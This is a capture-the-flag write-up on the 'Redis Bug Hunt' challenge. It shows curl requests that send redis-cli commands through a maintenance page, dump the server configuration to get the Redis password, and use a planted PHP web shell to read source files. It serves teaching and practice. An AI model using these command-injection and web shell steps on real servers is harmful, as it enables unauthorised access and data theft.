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Redis Bug Hunt

Location: Kitchen


The challenge description is as follows:

We need your help!!

The server stopped working, all that's left is the maintenance port.

To access it, run:

curl http://localhost/maintenance.php

We're pretty sure the bug is in the index page. Can you somehow use the
maintenance page to view the source code for the index page?


See Redis RCE


The text in the introduction means that this is a site running php (maintenance.php).

player@d2bc9f3c158c:~$ curl http://localhost/maintenance.php

ERROR: 'cmd' argument required (use commas to separate commands); eg:
curl http://localhost/maintenance.php?cmd=help
curl http://localhost/maintenance.php?cmd=mget,example1


So it is possible to run commands on the server ...

player@d2bc9f3c158c:~$ curl http://localhost/maintenance.php?cmd=help
Running: redis-cli --raw -a '<password censored>' 'help'

redis-cli 5.0.3
To get help about Redis commands type:
      "help @<group>" to get a list of commands in <group>
      "help <command>" for help on <command>
      "help <tab>" to get a list of possible help topics
      "quit" to exit

To set redis-cli preferences:
      ":set hints" enable online hints
      ":set nohints" disable online hints
Set your preferences in ~/.redisclirc
... and the commands that can be run are redis-cli commands.

Some research determined that there was a way to see the configurartion of a running Redis server: config get

player@d2bc9f3c158c:~$ curl http://localhost/maintenance.php?cmd=config,get,*
Running: redis-cli --raw -a '<password censored>' 'config' 'get' '*'



... SNIP ...
requirepass and R3disp@ss look interesting and basd on the self documented conf file for v5, this is the client password.

There is a hint about how to get a web shell on the server if you know or can guess the web site directory (DocumentRoot).

The image below shows the webshell being created.

Install web shell

Now use the webshell:

curl http://localhost/grodo.php?cmd=cat%20index.php doesn't work because the web page returns binary data.

The %20 is required to pass a URL encoded space character.

Try: curl --output - http://localhost/grodo.php?cmd=cat%20index.php

Exploit web shell

Challenge solved!!